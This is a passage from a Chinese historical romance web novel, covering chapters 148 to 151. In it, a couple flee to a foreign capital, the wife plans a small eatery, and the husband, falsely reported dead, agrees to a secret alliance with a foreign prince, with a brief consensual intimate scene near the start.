眼下,他不能回大衍,至于几时可回,又如何回,一来,需等待时机,二来,他要好好绸缪一番。
就在他思忖间,戴缨的声音响起:“大人莫要忘了我的身份。”
陆铭章被她轻松的语调逗笑,心神不再那么沉闷:“你是什么身份?”
戴缨猛地一抬头,把陆铭章下巴磕得一响,赶紧给他揉了揉,嘴里说着:“我是商人!”
接着又道:“商人走到哪里都会想办法赚钱,妾身自以为还算懂经商之道。”
戴缨揉着陆铭章的下巴,言语带笑:“就去罗扶最大的城池,去他们的国都,人多的地方好赚钱,只不过……”
“只不过什么?”
“只是如今我们一行人身上银钱不足,想做大头生意怕是不能,不过没关系,可以先做点小买卖,等赚够本钱,再做大的。”戴缨伸出一指,在他微凉的唇上点了点,“大人说好不好?”
陆铭章轻笑出声:“好,你做东家,我给你当账房先生,如何?”
谁知戴缨却摇了摇头:“不可,不能叫大人屈身。”
说不清为什么,她不愿陆铭章做这些琐碎的俗事,会污了他那双执笔管的文人的手。
她一面说着,一面将手从衣摆处伸进他的衣衫,抚上他清韧的后背,指下是温热且细腻的皮肤,她便贪恋地沿着肌理线条缓缓抚上那窄瘦的腰身,触感极好,叫她舍不得收手。
陆铭章低下头,含住她的唇瓣,极尽温柔地深入,缱绻,回应她的主动。
他退出一点点距离,用不属于他的声音说道:“哪里还有什么‘大人’,你今日叫的那一声就挺好,要不再喊一声?”
戴缨将头埋在他的颈间,微喘着:“我才不喊,喊多了就不值钱了。”
陆铭章笑着将她拥紧,戴缨的手又开始不老实,陆铭章无法,只好将她的手捉住,从薄衫里拿出来,压低声儿。
“随身没带那药丸,这会儿颠簸在外,若是有了,反对你不好……”
戴缨“嗯”着应了一声:“不做什么,你只叫我摸一摸。”
陆铭章是男人,这男子的身体构造和女子不同,不是抚一抚,贴一贴就能纾解的。
可她又黏他黏得紧,身上也是烫的,显然是情动了。
于是,他掀开衾被,隔着她薄薄的衣衫,在她丰隆的胸口落下吻,隔着薄薄的衣料,他吻过她丰软的胸脯,一路小吻至她的肚腹…
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…
连他自己都吃惊于竟然有一日为讨好一女子,做到这种程度。
戴缨怕痒,吃吃笑出声,以为自己轻抚他,他便以这种方式回应,并没意识到接下来会发生什么,正要叫他停住。
陆铭章却继续往下去,细吻落下,一手松开她的裤带。
到了这一时,戴缨岂会不知他要做什么。
哪怕是前一世,她和谢容共枕,他也从未这样对自己,倒是他有几次想让她如此侍候,她都羞着脸给拒了。
“不可以……”戴缨说着就要去推陆铭章。
他却捉住她的手,抬起半边身,将她的手摁到自己的胸口。
薄薄的胸肌下,是有力且急促的心跳,在这份搏动下,她的心也跟着乱了,仿佛被牵引着脱离了常轨,沦陷在令人眩晕的亲密里。
在他的耐心下,她一点点热化……
事毕后,陆铭章下了床榻,走到桌边饮了些清水,再走回,躺于她的身侧,在她熟睡后,他的一双眼仍睁着,望着黑夜的某处,缓缓沉出一息,慢慢地闭上了眼。
终于还是走到了这一步……
次日,天一亮,归雁前来敲门,进到屋里给戴缨洗漱。
不绾繁琐的发式,没有耀目的珠翠,一身素衫布裙,穿戴起来很简便。
戴缨生得本就白净,眉目清亮,没了那些额外的点缀,哪怕一身素装,一眼看去,也叫人知道,这女子在家必是滋养得极好。
陈左和长安早早去车行雇了两辆车,交付了押金,京都车行那边收到车后,扣除相应的车马费用,再把押金退还。
他们身上虽有余钱,却不敢铺张,在前途未有定数前,能省则省。
如今一行八人,护卫三兄弟,长安和陈左,另有丫头归雁,再就是戴缨和陆铭章。
六名男子,两名女子。
于是,戴缨主仆一辆车,车辕坐着陈左和一名护卫,陆铭章主仆一辆车,驾车的是另两名护卫。
就这么,从这座罗扶边境小城出发了。
戴缨往罗扶国都的原因很简单,一来她也想看看这异国国都的样貌,当然,这还在其次,主要是他们如今落难,必须寻个出路。
至于陆铭章为何应下去罗扶京都,绝不单单因着她,想必经过一夜,他一定有了计较。
“我交给你的小匣子呢,可带在身上?”戴缨问向自己的丫头。
归雁将身边的包袱打开,取出小木匣,交还给戴缨。
“娘子,这里面是什么?”
戴缨将木匣的卡扣摁下,说道:“这里面是咱们安身立命的根本……”
话还说着,木匣打开,上一层是碎银。
“我的主,怪不得这匣子沉哩!”归雁惊呼道。
戴缨揭开上层,下面还有一层。
“虽说有这些钱两,却也不够花,想过上以前那样的好日子,这些够什么。”戴缨一面说,一面将手伸进下一层,来来**不知摸找着什么。
接着手一顿,从里面拿出一物,定目去看,竟是一张折纸……
第148章 陆铭章的死亡
归雁见自家娘子从木匣的下层拿出一张折纸,遂问道:“这是什么?票据?”
戴缨将折纸展开,看了一眼,将上面的字牢牢记在脑子里,又将它放入袖笼里。
归雁见自家主子不答,掉转话头,说道:“婢子心中困惑,一直不得解,我问阿左哥,他也说不出个一二三来。”
“何事?”
“那晚小木屋,围坐篝火,安管事说黑衣人很可能是罗扶国派来的,如今我们好不容易逃过一劫,不躲远些,怎么还往他们国都走,岂不是羊入虎口?”
归雁想不明白,一直想问自家娘子,偏这两日娘子同家主形影不离,寻不着机会。
之后又补问了一句:“为什么不干脆回大衍?”
戴缨将黑木匣关上,声调平平:“比起罗扶……大衍更危险,也许只有往罗扶中心走,他才能求得一线生机。”
归雁似懂非懂地点了点头。
接下来,又是一路颠簸,然而,众人的心境却全然不同。
在离开这座边陲小镇后不久,一则惊天消息,往罗扶境内铺天盖地而来,这则消息便是,大衍使团在边境遇袭,全员罹难,枢密使陆铭章亦在其中……
而陆铭章等的就是这则宣告他“死亡”的消息,“嗒——”的一声轻响,一个牢固的锁扣被打开了。
走走停停,行了一路,终于到了罗扶京都。
城门口排着队,皆是从外进罗扶都城之人,有本地人,也有外来的商旅或是游人。
戴缨揭起车帘往外看去,城门卫正对进城之人核查身份,心里不免有些慌乱。
他们本是赴罗扶接引金城公主的大衍使团,到了罗扶当受最盛大的招待,然而现下,不得不提心吊胆,生怕被人揭露身份。
就在戴缨担心时,马车在城门不远处停了下来,车壁从外叩响,长安的声音低低传来。
“夫人不必担心,无事的。”
戴缨应了一声“好”。
马车再次前行,往城门驶去,然后速度越来越慢,车外的人声越来越大。
“停下!”
一个操着罗扶口音,应是城卫的人叫喊道。
马车停了下来,不再往前。
“哪里来的?”城卫问道。
“我们从大衍而来,到贵国都城探亲。”长安说道。
那城卫“嗯”了一声,再问:“把户帖和公验拿出来瞧瞧。”
所谓户帖,就是户籍凭证,上面标有持帖人的各类信息,而公验则类似于通行证,想要进入别人的城池,需经过一系列勘验和登记,方能放行。
戴缨在车里听着,心提到了嗓子眼,两手紧张地绞着,外面没了声音,于是揭起窗帘一角,往外看去。
就见那城卫手里拿着相关文书翻看,一脸的不耐,嘴里喃喃念着:“陆晏……”
然后抬起头,说道,“把车帘揭开,让我们核查。”
就在那城卫欲往马车走来时,长安伸手拦住:“我家主人携了女眷,多有不便,望官爷通融。”
城卫哪里肯依,就要大声呵斥,长安一手按在他的肩上,如同提小鸡儿似的,将那城卫锢到跟前,凑过去,低声说着什么。
在戴缨看来,原本姿态高傲的城卫不知听到了什么,还是看见了什么,肩背变得佝偻,弯着腰,点头捣蒜,再不问一句话,大叫着让前面放行。
车马驶过城大门,入到城里,直到这会儿,戴缨才算完全放下心,开始打量这座异国都城。
此时已是傍晚时分。
其实同大衍并无太大不同,宽大的街道,铺着灰白的石板,两边楼宇林立,有酒肆、茶馆、米油铺,还有就是每个繁华地段都有的青楼馆。
两国紧邻,风俗习惯并无太大差别,就连说话也只是口音不同。
马车行了一程,停到一间酒楼,经过一路远行,仍是先于酒楼暂歇,松乏身子,养精蓄锐,再做之后的打算。
国都的客栈比边陲小镇的客栈更宽敞,屋室装整得也够雅致,窗台边的长案燃有香炉,分里外间,以珠帘隔开。
一路走来,实在乏累,戴缨和陆铭章沐洗过后,小坐了会儿,便躺到榻上睡去了。
次日醒来,她发现身边空着,这一觉睡得沉,竟不知陆铭章几时走的。
归雁进屋替她梳洗。
“大爷呢?”戴缨问道。
“才走没多大会儿,爷带着长安出门了,给娘子留下了三名护卫。”归雁给戴缨简单地绾了个发式,问道,“婢子买了些头油,可香,要不要往鬓发抹些。”
“头油?哪儿呢?”戴缨问道。
归雁转身,从行李中翻出一个包裹,再从里面拿出一个小瓶,走回到戴缨身边。
“还是在小镇买的,想着娘子兴许要用,就买了瓶,还买了几件素衫和鞋袜……”
归雁话未说完,戴缨立起身走到行李前,看了那几件素衫,俱是粗布制的素长衫,这些麻衣说是新的,因着面料的原因,看上去半新半旧。
包括她身上这件还算鲜艳的桃红中长衫,穿这些衣衫去见那人是万万不行的。
“一会儿去街上再置办一身好的,这些不行。”
归雁以为自家娘子嫌弃这些衣衫粗丑,便应下了。
主仆二人用罢早饭,叫上陈左,出了客栈。
这会儿正值上午,整阔的石板道两侧是各类大大小小的商铺,一眼看去,店里的生意都很好。
陈左跟在戴缨身侧,眼睛不离她主仆二人,一会儿怕她二人被挤着,一会儿又担心有人意图不轨,叫游闲占了便宜。
再加上戴缨生得姣丽,路过之人虽不至于公然做失礼之举,却也不免多看两眼。
一路行着,经过了几家制衣店,戴缨并不进去,只在门前往里看两眼,便折身走开,再继续往前。
“娘子怎的不进去看看,只在阶下看两眼就走?”归雁问道。
“那些铺子不适合。”
三人仍往前走着,就快要走到街头了,正巧街头还有一家,生意比先前那几家差许多。
戴缨先是往里看了看,然后捉裙拾阶而上。
店伙计见来了客人,笑着迎上前:“娘子进来看看,想要身什么样
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式的。”
戴缨往里走几步,先是往四周看了看,装陈简单,店中成衣有的收叠于柜架上,有的挂展。
“我想寻一件见客的衣衫,样式精神些,颜色雅致些,不想太过破费,劳小哥替我相看相看。”戴缨说道。
店伙计一听,心里有了数,这小娘子应是手上银钱不足,却又想料样好的衣裳。
“娘子如此说,店中倒有几件好料子裁下的边角,颜色也特别,可要小的拿出来您瞧一瞧?”
戴缨想了想,说道:“不要这类,你就按我说的样式取几身出来。”
好料子裁下的边角,普通人看不出区别,但对于戴缨那双阅珍无数的眼来说,一眼就能辨别出次好,而她欲要拜见之人同她一样。
是以,什么好料子下的边角料之类的,一定不能行,不如选一件面料过得去,款式大方精神的。
店伙引戴缨走到一座柜架前:“颜色和样式,符合您这个年纪的所有成衣就是这些。”
戴缨看了一眼,扬手指向一件碧山色的交领掐腰中长衫:“就这件。”
店伙计先是看了那衣裳一眼,又转头看向戴缨,点头道:“这件好,颜色鲜嫩,娘子好眼光。”说着将衣衫取下。
戴缨带着丫头去了里间,将衣衫换上出来。
店伙计看了一眼,心道,这位小娘子原先穿得麻衣太旧,把人衬得没了精神,眼下换上这一身,也不知是衣裳把人衬好看了,还是人把衣裳穿好看了。
戴缨让归雁付了银子,顺便递上一张折纸。
“小哥,你看看,这个地方离这里可远?”
店伙计接过,看去,念出声:“都中……后市街,青罗巷东第三家。”
念完后,店伙计将折纸递回:“那一区住得都是富户,离咱们正街有些距离,小娘子最好雇辆马车或是牛车,单凭双脚的话,很要耗费些脚力。”
罗扶同大衍有点不同,大衍富贵人家出行,要么坐轿撵,要么乘马车,而大衍不仅仅是马车,他们更喜欢乘牛车。
这牛车并不是牛板车,后面是车厢,只不过前面的牛替代了马。
因着牛比马更有耐力,只要不急着赶路,罗扶的有钱人家多半乘牛车去郊外闲游。
戴缨坐在成衣店候等,不一会儿,陈左雇了一辆牛车来,车辕上还坐了一名车夫,而后,戴缨在归雁的搀扶中上了车。
行了好一会儿,牛车停下。
戴缨下了车,车夫指着巷口说道:“往里去,就是青罗巷。”
陈左付了车金,车夫赶着牛车离开了。
三人走到巷内,青罗巷很宽,地面铺着平整光洁的石板,映着遮天的树影。
越往里走,越像是一条静谧明亮的小街市,可六七辆马车并行,没有往来的行人,两边栽的有绿树,各家院墙外摆放着花植。
这样一条巷弄,戴缨看着看着就喜欢上了。
干净,宽敞,绿色的树影投映到光洁的石砖上,一阵和风吹来,裹着淡淡的花香,他们走到一户门前,抬头去看,门匾上写着“严宅”……
第149章 忠臣还是逆臣
戴缨根据地址找到东面第三家,门楣很高,门前两只小石狮。
院墙以青灰石砌成,很高,并未全封闭,有一截以栅栏围成,不过栅栏内种了许多绿植花草,遮挡了部分视线。
透过那些花植,可观得院中情形。
院子很大,同这巷子一样,铺的平整的石砖,没有刻意打磨过的形状。
靠院一角,有一根粗壮的大树,枝叶茂盛,有一部分延伸到院墙外,树下的竹椅上坐了一个小丫头,扎着两个包髻,看起来十岁出头,正垂着头闭眼打瞌睡。
归雁前去叩门,叩了几声,小丫头转醒,先是看了眼院大门,再看了栅栏这边一眼,赶紧起身跑来,从旁边的小角门出来。
“你们找谁?”
归雁笑道:“你家夫人可在?”
小丫头上上下下把归雁一看,又问:“不是本地人?”
“不是,我们从大衍来的。”
小丫头点了点头:“可有名帖,我好递进去。”
戴缨笑着上前,说道:“劳小姐姐进去报知一声,只说是华四锦来的,严夫人便知道了。”
小丫头退回角门内,往里通报去了。
不一会儿,随着小丫头出来了三四个高挑的大丫头并两个小厮,笑着往门前来,开了正院的大门,两个小厮走到缨面前作揖。
“娘子请移步。”
戴缨三人进了院中,迎出来的大丫头笑道:“夫人正在修弄花圃,听说娘子来,怕失仪,去更衣了,叫我们迎娘子到里间坐坐。”
说着将戴缨往里引去,宅子不算特别阔大,却很精致,穿过一道月洞门,到了敞厅,请戴缨入座,又叫小丫头们看茶。
“娘子稍候,夫人就来。”
戴缨微笑颔首,趁着空,打量起四周,因她自家粗富,后又进了陆府,物质上从来是不缺的,自然从绮罗堆、珍贵库练就了一双法眼。
厅面不算大,厅内的摆设却是精贵华奢。
楠木的桌椅,嵌和田玉的屏风,戗金的漆盒,缂丝的挂画,点翠的盆景……还有些就连她也没见过的稀罕物什。
正看着,厅廊行来轻急的脚步声,不是一个人的,绵绵密密进到堂间。
戴缨站起身,往来人看去,正是严氏领着几名衣着鲜亮的丫头们走来,她仍是那张团圆脸,笑模笑样,只是比上一次见,身材清减了许多。
严氏走上前,拉着戴缨上下看了看,笑道:“哎呀——你这才是真真的稀客。”又道,“快坐,快坐。”
两人坐下了。
戴缨让归雁将手头的礼盒递上:“行程匆忙,一点小礼,夫人收下。”
严氏没有客气,让丫头收了。
“可是同你家夫君一起来的?”严氏问道。
“是,自打上次同夫人畅聊一番,心里就记着了,另一个家中变故,遂离了大衍,到罗扶这边寻个营生。”
人生地不熟,戴缨认识的唯有一个严氏,于是想着到她这里问一问有关京都方方面面的情况,总比她一个人在外摸瞎强。
若肯伸手帮一帮那是最好,若是不愿,她也不会全无收获。
严氏常年随夫在外行走,见识不短浅,待人接物有自己的一套道理,虽是个爽利性,却也并不好糊弄。
若是遇上心术奸邪之辈,一眼就能识穿,然,碰到谈得来的,又或是合眼缘的,她的好脾气从来不吝啬。
其实自严氏刚才见到戴缨,就看出来了,这位女东家同上一次全然不同。
首先是衣着扮相上。
大衍时,她穿的衣衫不论是面料还是款样,连那色泽皆是顶级,精致华贵却不过分张显,而现在一身看上去却是极为普通的衣料。
这位女东家以“家中变故”四个字轻飘飘地带过,应是碰到了**烦,于是抛开虚谈,切实地问她的打算。
“打算日后在罗扶定居还是只在此短暂停留?”
戴缨回想那晚陆铭章告诉她,不能再回大衍,不能再回陆府……
“若是能在罗扶国长久住下自是最好。”戴缨说道,“妾身想在这里寻个营生安身,不知需要什么章程?”
严氏自家做生意的,城中两家铺子,铺子不算大,一个铺子售卖瓷器,一个铺子售卖各类茶叶。
瓷器铺子常年开着,有生意就接,无生意店也开着,并不指着赚钱。
另一家茶铺生意也是普普通通。
两间铺子赚不了什么大钱,他们家真正来钱的源头是将罗扶盛产的茶叶贩往各地。
严氏想了想,没有直接回答这个问题,而是问道:“现下住在哪里?”
戴缨微笑道:“昨儿才来,如今住在一家客栈,先来拜会夫人。”
严氏也不绕弯,直言道:“你是异国人的身份,想在我们这儿开铺子,要好些手续,且需本地人担保。”
“保人的话,我和我家老爷可替你作保人,这个倒是简单。”
戴缨起身谢过:“我正是愁这个,别的倒还好,不论是办手续或是租赁铺子,这些都不是太大的问题。”
这也是她今日前来的目的。
严氏想她从前料理绸缎庄,同是商户,不过是换了个地方,想要重新做起来,对她来说并不很难。
两人又谈了些生意上的事,和当地的人的生活习惯,戴缨没有久坐,起身就要辞去。
严氏再三挽留不住。
出了青罗巷,戴缨三人也不乘车,就这么在街头走着。
“娘子,咱们打算做什么营生?”归雁问道,“同从前一样,开绸缎铺么?”
戴缨笑道:“咱们手上钱两不多,没那么些本钱做绸缎生意。”这还是头一次因为手头拮据,不得不瞻前顾后。
归雁想了想他们戴家的营生,生药铺、酒楼、首饰铺……这些好像皆需投入大量本钱。
“那咱们做什么营生?”
说实话,戴缨也还没想好,又要成本低,且还能赚钱的营生,真要有这么好的事,不都抢着去做了,哪里轮到她一个异国人,就这么走了半条街,仍是没有一点头绪。
异国他乡,没人脉,没资源,手头钱也不够多,想要把事做成……太难……
“阿缨,我去叫一辆车来,先回客栈罢,也到用饭的时候了。”陈左见戴缨愁眉不展的样子,建议道。
戴缨看了一眼街上的人来人往,满面茫然,不知听没听进去……
彼边……
一座空阔的林园,园门处立着十几名护卫,个个腰间挎刀,面目严肃,双眼如鹰地扫视着四周。
园内有很大一片湖池,湖中央坐落一方凉风亭,亭周垂挂虾须帘,隐有人影晃动。
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>“啧啧……”
一道略含讥讽且幸灾乐祸的腔调,接着又是一声:“嗳——你也有今天。”
男人皮肤微深,高眉深目,身材高大,一脸的笑意收也收不住。
而坐于他对面之人,一身素衣长衫,嘴角亦挂着讥讽,就那么回看过去,听他说道:“我倒霉,你倒是高兴得很。”
肤色微深的男子亲自替素衣男子斟茶,说道:“你看你,我高兴这不正常嘛,谁叫你我二人本就是敌人……也是兄弟……”
一阵风来,将虾须帘吹起,里间两人的面容显露出来。
素衣之人正是昨日才到罗扶都城的陆铭章。
而坐在他对面皮肤微深的男子,不是别人,正是先时带使团去大衍,同陆铭章拼酒,醉得不醒人事的祁郡王,元载。
陆铭章伸出两指将茶盏往旁边移开,以十分肯定的语气问道:“一早就计划好的?”
元载自顾自地端起茶盏,“嗯”了一声,半点不隐瞒地说道:“对,一早计划好的,专为你量身打造。”
“你杀我手下那么些人,倒像没事人一样,真就以为我不同你计较?”陆铭章又问。
元载轻呷一口茶汤,将手里的杯往前递了递:“别光顾着说话,我知你喜欢品茶,尝尝看,我们罗扶的茶如何?”
说罢见陆铭章不动,于是收起脸上的笑意,回答他刚才的问题:“一,对你们下手呢……这个命令不是我下的,是我皇兄下的令。”
“二,就算是我下的令,以你现在的情状,又能如何?”
元载看向陆铭章,一字一句地问道:“被你死心塌地且用心栽培的小皇帝背刺是何感觉?”
也是这一句,陆铭章的眼中有了一丝微不可察的闪动。
“你一早就该听我的,从前我怎么跟你说来着,那会儿你我联手,如今这天下早是咱们的,哪儿会有现在这档子事。”元载说道,“你把那小皇帝当亲子一般尽心尽力地扶持,结果呢,人家把你当仇人,要你死。”
“忠心”二字,便是陆铭章的致命弱点,小皇帝也正是抓住了他这一点,他恪守的忠心,成了小皇帝手中最锋利的刀。
就好比一个锁扣,在这个锁扣未拨动前,“君要臣死,臣不得不死”这一套在陆铭章身上永远适用,然而,当小皇帝真对他下**,意味又不一样了。
他若**倒还好,偏没死成,那么他体内这个“忠臣”的锁扣被拨开之后……忠臣和逆臣之间的界限也就模糊了……
“你不如自己生一个,打了这天下,自己做皇帝,以后还能给你儿子留个帝位耍耍。”
“看看你现在,妻子妻子没一个,半辈子都付在那对母子身上,最后得到了什么,不是我说,你若早听我的,现在大衍国就是你们陆家的,后宫佳丽三千,要什么没有……”
元载话未说完,被陆铭章截断,语气显得有着急:“什么半辈子都付在那对母子身上,什么半辈子,你说话注意点。”
他很不愿听这个话。
“怎的,我说得不对?那赵太后同你从前是不是有过婚约?叫我说,你心里就没忘掉人家,否则怎会那般死心塌地地看护他二人。”
陆铭章把桌上的茶盏重重一放,蹙眉道:“此乃臣子尽忠,与私情无干……”
第150章 相互取暖
依元载的性子,绝做不到陆铭章这个地步,在他看来,陆铭章就是对赵太后放心不下,余情未了,替人养孩子,不然为何这许多年,他连房妻室也无?
结果养了头白眼狼,人家反过来要杀他,他还屁颠屁颠地死心塌地。
元载想起过往,慨然道:“想当年,咱们何等意气风发,恣意张扬,阿晏,你就是太过愚忠,这才害了自己,不是我说你,你这人深谙为官之道,唯有一个‘忠’字最致命。”
谋国如炬,谋身如烛,在他身上得到了映照。
当年,陆铭章从陆府离开,在外漂泊几年,到过罗扶,后来和还是皇子的元载结识。
彼此互知身份,当时只道兄弟情谊,并无其他。
后来陆铭章回了陆家,在大衍官场一路过关斩将,而元载也顺理成章地当了亲王,后来因为变故,降为郡王。
再后来,元载派人给陆铭章递信,信件不走驿站,而是由郡王府的人一路到大衍亲自送到陆铭章手里。
那信件陆铭章看过后便烧了,信中内容无非是元载身为郡王的野心,要做罗扶的皇帝,想让陆铭章同他联手,他亦会助陆铭章得到他想得到的。
结果可想而知,陆铭章没有应下,并让传信人捎回一句极为简短的话:
乱臣贼子之道,恕不沾染。
同眼下境况再一比照,可叹可笑。
“想不到,想不到,原来你还不是最狠的,你们那位小皇帝才是。”元载说道。
也对,陆铭章手握重权,任哪个君王不忌惮,只是未曾想到那般大的孩子,却有如此狠辣的心性。
陆铭章自是知晓,使团行走的路线是提前规划好的,什么时候出发,途中经过哪里,又走到何处,这个过程太长,变数太多,罗扶不可能提前埋伏,只能是他们自己人将消息透出。
背后操控之人,陆铭章一开始只是怀疑,并不确定,直到他们离开那座边陲小镇,听闻从大衍传来的消息……
迎亲使团在罗扶境外遇袭,陆铭章几人从山林走出,最后到了小镇,之后再从小镇离开,没过多久,就从大衍传来使团全军覆灭的消息。
这么短的时间,消息递回去都来不及,大衍朝廷却未卜先知,散出他们死亡的消息,迅速得不符合常理,且是通过诏书的形式,能做到这一步的,只有小皇帝萧岩。
一直以来,陆铭章将家国放首位,在忠君的同时也渴望权力,在他看来,拥有更大的实权才能护国,才能更好的忠君。
然而,他终是失算了,所有的坚持化成一声唏嘘。
元载见陆铭章不说话,在他面上端详片刻,操着意味不明的腔子问道:“我皇兄倒是惜才,你要不要考虑考虑……效忠于他?”
从陆铭章来此,大多时候都是元载说话,直到这会儿陆铭章抬起眼,对上他的目光,脸上露出冷笑。
“你少来,我若效忠你皇兄,你会见我?”
元载轻松地笑出声,但说出来的话就不那么中听了,半是认真半是玩笑地说道:“你若效忠我皇兄,我会杀了你。”
接着不再探话,也不绕弯,开门见山:“怎么样,要不要合作?你我二人联手,你得到你想要的,我得到我想要的,各取所需。”
陆铭章没有回答,而是端起元载替他倒的那杯茶,一饮而尽,元载见了,暗暗松下一口气,知道这是应下了。
接下来便是陆铭章开始谈条件。
“我的身份以及家眷的身份,不能暴露。”
“这个自然……”话音刚落,元载瞪大眼,“你还带了家眷?!你哪儿来的家眷?娶妻了?几时娶的,我怎么不知道?”
“我娶妻还要征得你同意?”陆铭章反问道。
元载呵笑道:“几时叫我见见。”
不过就他看来,陆铭章就算娶了妻室,多半也是因着家族施压,没多少情爱。
陆铭章没理会他的话,说道:“至于你皇兄那边……”
“这个你放心,他那里我来应对,至于中间的分寸嘛,就该你自己把握了。”
陆铭章“嗯”了一声。
之后两人又说了些话,陆铭章起身准备离去,元载站起,拦住他。
“你慌着走做什么?从前你在大衍,心里顾恋赵太后……”元载顿了顿,转口道,“错了,哥哥我说错了……”
从前他二人称兄道弟之时,他因为年长,陆铭章便唤他一声兄长。
“你都到罗扶了,从另一方面来讲,也算得了自由。”元载说道,“小皇帝对外的诏文是使团往罗扶迎亲的路上遇了匪贼,怎么说也是因公殉职,也就不必担心陆家被清算,那小儿对外还得做样子,反要厚加赏赐陆家,以示皇恩。”
“所以呢?”陆铭章问道。
元载恨他不开窍:“你去我府上,我治酒席替你接风洗尘,夜里再叫两三个美人儿,于你房中伺候,分明年岁比我还小,不及时行乐,却做一副老境样儿。”
从前在大衍为赵太后清心寡欲,如今到了罗扶,怎么着也得给他开开荤。
陆铭章横了他一眼,看了眼天色,说道:“替我把宅子安置好,明日我要带人住进去。”
元载见挽留不住,应下了。
……
待陆铭章走后,元载乘了一辆马车往皇宫行去。
此时已近傍晚,那罗扶帝元昊刚从政务殿出来,听说元载进宫求见,便将他召到政务殿问话。
“见着人了?”元昊问道。
“见了,才走,这不进宫求见皇兄嘛。”元载一副轻松语调。
元昊点了点头,说道:“他怎么说的,可应下了?”
“先时没应,叫我费了好大的口舌,动之以情晓之以理,他才应下,不过……”
元载拿眼快速往元昊脸上扫去,再收回。
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>“不过什么?”元昊问道。
“陆铭章此人脾性有些古怪,兄长也知他骨子里清高的执拗,他说,愿在幕后为皇兄出谋划策,但拒绝公开露面。”
元昊觉着有些意思:“就是不愿接受我罗扶的一官半职了?想是我罗扶的官位不如大衍,叫这位宰执看不上眼呐。”
元载眼中精光一转,接过话茬笑道:“皇兄莫不是忘了,陆铭章最拿手的就是于无声处布控全局,有才之人多少都有些孤傲,皇兄别同这人一般计较。”
“倒也不错。”元昊点了点头,“他那边由你安顿,千金市骨,无论他需要什么,你只管应下。”
元载敛下眼皮,应了一声“是。”
……
陆铭章回客栈时,太阳已西垂,走到门前推开房门,屋里没有点灯,光线微暗,就见戴缨伏于桌案,手边铺了几张纸。
于是走了过去,抚了抚她的头,眼睛不着痕迹地往那些纸上扫了一眼,轻声问道:“怎么了?”
戴缨撑起身坐好,扯出一捻笑:“无事,就是路上走久了,有些累,伏在桌上休息休息,屋里有些暗了。”
说着,就要起身寻火折子,点烛火,却被陆铭章拉住,他走到木柜边取了火折,再走回将四方桌上的蜡烛点亮。
一根细烛并不足以将宽大的轩子照得亮堂,却足以将他二人笼在温暖的光晕中,这柔黄的微光使屋室更加静谧。
他坐到她的对面。
“今天去了哪儿?”陆铭章问道。
“随便出去转了转。”
戴缨的声音有些微弱,她原打算在罗扶国都做生意,快速立住脚。
来的路上都想好了,先购置或是租一方小宅屋,能带院子最好,再去当地府衙办理相关文书,找严家夫妇做保人,办手续的过程,相看铺面。
今日,她去找严氏,那条青罗巷弄就很好,干净,宽整,地面铺有光洁的石砖,各家门前摆着精心养护的盆栽,那是一条富人巷弄。
后来,她见到严氏,聊了许多有关京都的风貌,还有当地的房金,就拿青罗巷来说,那一带的宅子,哪怕是租,以她手头的银两,也够呛。
初来乍到,头头都需要钱。
从严家出来,又在街上逛了半日,一路上也没叫车,三人往回慢慢走,一面走一面打量市铺。
想做体面干净点的营生,譬如茶铺,但这不是一般人能做的,需得官府发放“茶引”,罗扶本国人想弄一张茶引都十分不易,更别说她一个异乡人。
这个行不通。
而绸缎庄,药材铺之类的,皆需大量铺货,铺货就需要充足的本钱,显然这条路也行不通。
她想了又想,也只有开小饭馆,利润虽不那么高,起码能让他们在这座城立住脚,她并不想将这些难处告诉陆铭章。
他肩头的分量已足够沉,这些琐碎,她一人担着便好……
第151章 只想护好她
戴缨三人是走回来的,缓走时,脑子也在跟着缓动,还能看一看街况。
所有可赚钱的生意,她都在脑中过了一遍,最后决定开个小饭馆,觉得这是她踮踮脚可以够得着的。
然而,当她回了客栈,把开小饭馆的费用一算,却是捉襟见肘,这还不算租房等其他的费用。
于是将不该省的也省下,譬如请厨子的费用,还有就是铺面不做任何修整等等,算来算去,不知不觉天就暗了下来。
见陆铭章回来问她去了哪里,便随口道出去转了转,并不想让他知道他们眼下的困窘,他曾是立于朝堂的大官,即使这层身份褪去,他也是端方君子。
既然是君子,就不该为生计发愁,她情愿自己沾染琐碎和铜臭,他仍是干干净净。
陆铭章将目光放到桌上的纸页上,借着暖黄的烛光看去,密密麻麻,戴缨赶紧把纸收了起来。
“还未用饭罢,我叫伙计端饭上来。”戴缨说着正待起身,再次被陆铭章扯回到座位。
“阿缨……”
“什么?”
陆铭章望着她那一双澄澈的双眼,忍不住拿指摩挲过她的眼尾,戴缨轻笑出声:“爷要说什么?怎么不说话?”
陆铭章开口道:“阿缨,其实不是非要依靠自己,你很少同我开口,除了那一次,也是唯一一次,我知你的心性,生怕被人轻看了去……”
兴许是成长环境使然,戴缨在戴万昌身边,无时无刻不想着证明自己的价值,后来进了陆府,也尽量做到让人挑不出毛病。
这一切陆铭章都看在眼里。
“有时候不必什么都自己担着。”陆铭章拍了拍自己的臂膀,戏谑地说,“这里虽不那么魁伟,也可以试着靠一靠。”
戴缨先是一怔,然后低头笑了,再抬头时,说道:“既然爷这么说,那我真就不客气了,可不能嫌我大倒苦水。”
陆铭章十分配合地狠点两下头:“快说,你说完后,我也有个好消息告诉你。”
戴缨便不再客气,摊开计数的纸,放到陆铭章眼下:“妾身想开一家小饭馆,铺面不用很大,一间即可,只是前前后后算下来,银钱可能不凑数。”
“主要是租铺面的费用,罗扶国都的地价比大衍还要贵上许多。”戴缨继续道,“这个钱若是凑一凑,省一省,勉强够用,只是后面还要租住宅,为着安全,地段还不能太偏。”
陆铭章听后,问道:“还差多少?”
戴缨没有给明确的数字,只是说道:“还差租住宅的钱。”
“住的地方有了。”陆铭章回道。
“有住的地方?”戴缨一时间有些吃惊,“大爷今日出去找住的地方了?”
陆铭章笑道:“正要同你说这个,我今日出去谋了个差事。”
“谋差事?什么……差事?”
“在人府上做幕僚。”陆铭章说道。
戴缨回看向陆铭章的双眼,不像从前那样看不清内里,也不再是淡淡的,好似世间万物不入他的眼一般。
她说不清心里是什么滋味,一句话也说不出来,只是扑到他的怀里,紧紧地抱着他,眼睛有些发酸。
“你开饭馆能赚钱,我做幕僚也能赚钱,那户人家还提供住宅,这房金可省了,岂不两便?”陆铭章拍了拍她的背,又道,“且我做幕僚时间充裕,还能给你的小饭馆当账房先生,请伙计的钱又省下一笔。”
戴缨将头埋在他的颈间,本来不想哭的,听了他这话,眼泪淌了下来,鼻塞声重道:“那你可不能把账算错了,否则我要扣你工钱的。”
陆铭章轻笑道:“好。”
正说着,房门被敲响:“娘子。”
